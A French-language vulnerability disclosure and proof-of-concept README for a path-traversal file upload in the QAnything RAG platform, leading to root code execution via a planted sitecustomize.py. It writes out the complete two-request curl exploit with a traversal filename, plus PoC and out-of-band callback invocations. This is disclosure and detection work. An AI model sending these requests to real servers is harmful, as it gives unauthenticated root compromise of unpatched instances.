
PoC et reproduction en laboratoire pour CVE-2026-88533, une écriture de fichier arbitraire non authentifiée menant à une RCE root dans QAnything via une traversée de chemin dans le point de terminaison d'upload.
ID CVE : CVE-2026-88533 (attribué par MITRE, publication de l'enregistrement en attente)
Produit : QAnything par netease-youdao — plateforme open-source de RAG / questions-réponses sur base de connaissances
Affecté : v1.4.x jusqu'à v2.0.0 (branche par défaut qanything-v2, jusqu'au commit final 65de104)
Version corrigée : aucune — projet non maintenu depuis le 2025-03-12 ; le seul correctif d'assainissement (PR #483) réside sur la branche héritée master et n'a jamais été fusionné dans qanything-v2
Faiblesse : CWE-22 Traversée de chemin
Impact : Création de fichier arbitraire non authentifiée → Exécution de code à distance en tant que uid=0(root)
Découvreur : Yankui Li
Le point de terminaison de téléversement de fichiers POST /api/local_doc_qa/upload_files prend le
filename multipart contrôlé par l'attaquant et l'utilise comme chemin de destination sans assainir les séparateurs de chemin.
urllib.parse.unquote() développe %2f en /, le filtrage des caractères pleine largeur et la troncature
de longueur laissent ../ et les chemins absolus intacts, et os.path.join(base, name) abandonne
entièrement la base lorsque name est absolu. Le open(file_location, "wb") résultant écrit
le contenu contrôlé par l'attaquant partout où le processus peut atteindre — à l'intérieur d'un conteneur root par défaut.
Comme le produit n'exige aucune authentification nulle part (user_id/user_info sont de simples
paramètres de requête), toute instance accessible par le réseau accepte cela de manière anonyme.
handler.py :: upload_files
file.name ──► urllib.parse.unquote() # %2f → "/"
──► full-width char filter # cosmetic only
──► truncate_filename() # length cap, no "/" or ".." filtering
core/local_file.py :: LocalFile.__init__
file_location = os.path.join(file_dir, file_name) # absolute name → base discarded
open(file_location, "wb") # arbitrary write
Deux propriétés rendent cela exploitable de manière fiable :
../ nécessaire.%2e%2e%2f survit car unquote s'exécute avant tout filtre.Un contraste de durcissement au sein de la même base de code : le point de terminaison upload_faqs remplace / par _ dans
les noms de fichiers. upload_files n'a jamais reçu ce traitement, ce qui en fait le seul vecteur d'écriture.
Remarque : LocalFile.__init__ possède une garde if not os.path.exists(file_location), donc seuls les nouveaux fichiers
peuvent être créés — les fichiers existants ne peuvent pas être écrasés. L'exploitation cible donc des
fichiers nouveaux à des emplacements exécutables.
L'image Docker officielle exécute le backend Python en tant que root. CPython importe automatiquement
sitecustomize.py depuis site-packages au démarrage de l'interpréteur — un fichier fraîchement déposé à :
usr/local/lib/python3.10/site-packages/sitecustomize.py
(7×../ relatif, ou chemin absolu) est importé la prochaine fois que le backend démarre, exécutant
le code de l'attaquant en tant que uid=0(root).
Pourquoi
site-packageset non le répertoire de l'application ? CPython exécutesite.pyavant d'insérersys.path[0], donc unsitecustomize.pyà côté du script d'entrée n'est pas auto-importé.site-packagesest la seule zone de dépôt fiable.
D'autres vecteurs ont été testés et écartés (documentés pour être exhaustif) :
/etc/cron.d/ — le répertoire existe et accepte les écritures, mais l'image ne fournit aucun démon cron, donc rien n'exécute jamais la charge utile.Image officielle + source vulnérable épinglée (commit 65de104) :
git clone <this-repo> && cd CVE-2026-88533
git clone https://github.com/netease-youdao/QAnything
cd QAnything && git checkout 65de104 && cd ..
docker compose -f docker-compose-lab.yaml up -d
# wait for the backend:
curl http://127.0.0.1:8777/api/health_check
Le script PoC est fourni dans ce dépôt (poc_qanything_cve_2026_88533.py) — chaque
élément de preuve ci-dessous a été produit en l'exécutant contre la pile de laboratoire ci-dessus. Clonez et
reproduisez la sortie exacte vous-même :
# Step 1 — write primitive (harmless): marker written to /tmp inside the
# container via absolute-path multipart filename, then read back as proof
python poc_qanything_cve_2026_88533.py --mode check --container qanything-container-local
# Step 2 — full chain (LAB ONLY): sitecustomize.py into site-packages,
# container restart, code execution proven as uid=0(root)
python poc_qanything_cve_2026_88533.py --mode full --container qanything-container-local
# Optional out-of-band callback for network-level proof:
# ... --mode full --oob http://your-oob-endpoint/cb
--mode full redémarre le conteneur cible une fois (comportement documenté ; l'import CPython
se déclenche au démarrage). Tout est livré sûr par défaut : pas de reverse shell, pas de charge utile
destructive — la charge utile de démonstration écrit un fichier marqueur contenant la sortie de id.
L'attaque entière consiste en deux POST HTTP ; voici ce que le contenu de détection doit cibler
(le filename multipart portant un chemin absolu ou des séquences ..//%2f est le signal clé) :
# 1) anonymous knowledge base
curl -s -X POST http://TARGET:8777/api/local_doc_qa/new_knowledge_base \
-H "Content-Type: application/json" \
-d '{"user_id":"anyuser","user_info":"1234","kb_id":"KBattacker1","kb_name":"x"}'
# 2) upload: the filename IS the destination path (absolute path also works)
curl -s -X POST http://TARGET:8777/api/local_doc_qa/upload_files \
-F "user_id=anyuser" -F "kb_id=KBattacker1" -F "mode=strong" \
-F '[email protected];filename=../../../../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py'
Toutes les preuves ci-dessous sont la sortie terminal réelle de poc_qanything_cve_2026_88533.py
(le script de ce dépôt) exécuté contre la pile de laboratoire construite à partir de
docker-compose-lab.yaml. Aucune étape n'a été falsifiée ou simulée — le script se termine avec un code non nul
sauf si chaque vérification passe, vous pouvez donc vérifier la chaîne de bout en bout vous-même.
Pile de laboratoire — image officielle + dépendances minimales, tous les conteneurs sains :

--mode check — primitive d'écriture non authentifiée confirmée : le marqueur a été écrit en dehors
du répertoire de téléversement via un nom de fichier multipart à chemin absolu et relu depuis l'intérieur du conteneur :

--mode full — après le redémarrage du conteneur, CPython auto-importe le
sitecustomize.py planté ; le marqueur de la charge utile prouve l'exécution en tant que uid=0(root) :

La transcription terminale complète de l'exécution --mode full montrée ci-dessus est également incluse,
verbatim : evidence/full-chain-run-2026-09-18.log —
6/6 vérifications [OK], verdict RCE CONFIRMED, marqueur de charge utile prouvant uid=0(root) avec un
horodatage (les valeurs nonce/kb_id dans le journal sont générées aléatoirement à chaque exécution, donc votre
propre exécution différera — c'est attendu).
Une capture d'écran de la page d'enregistrement CVE sera ajoutée une fois l'enregistrement publié.
| Date | Événement |
|---|---|
| 2026-08-25 | Vulnérabilité découverte ; primitive d'écriture vérifiée contre une instance en direct (marqueur inoffensif + relecture) |
| 2026-08-29 | Chaîne RCE complète reproduite dans un laboratoire local isolé ; rapport rédigé ; soumis à MITRE (CNA-LR) via cveform |
| 2026-09-18 | CVE-2026-88533 attribué par MITRE |
| À déterminer | Enregistrement CVE publié ; ce dépôt et une analyse détaillée publiés |
Ce matériel est publié à des fins de recherche défensive et éducative. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de tester. Voir DISCLAIMER.md.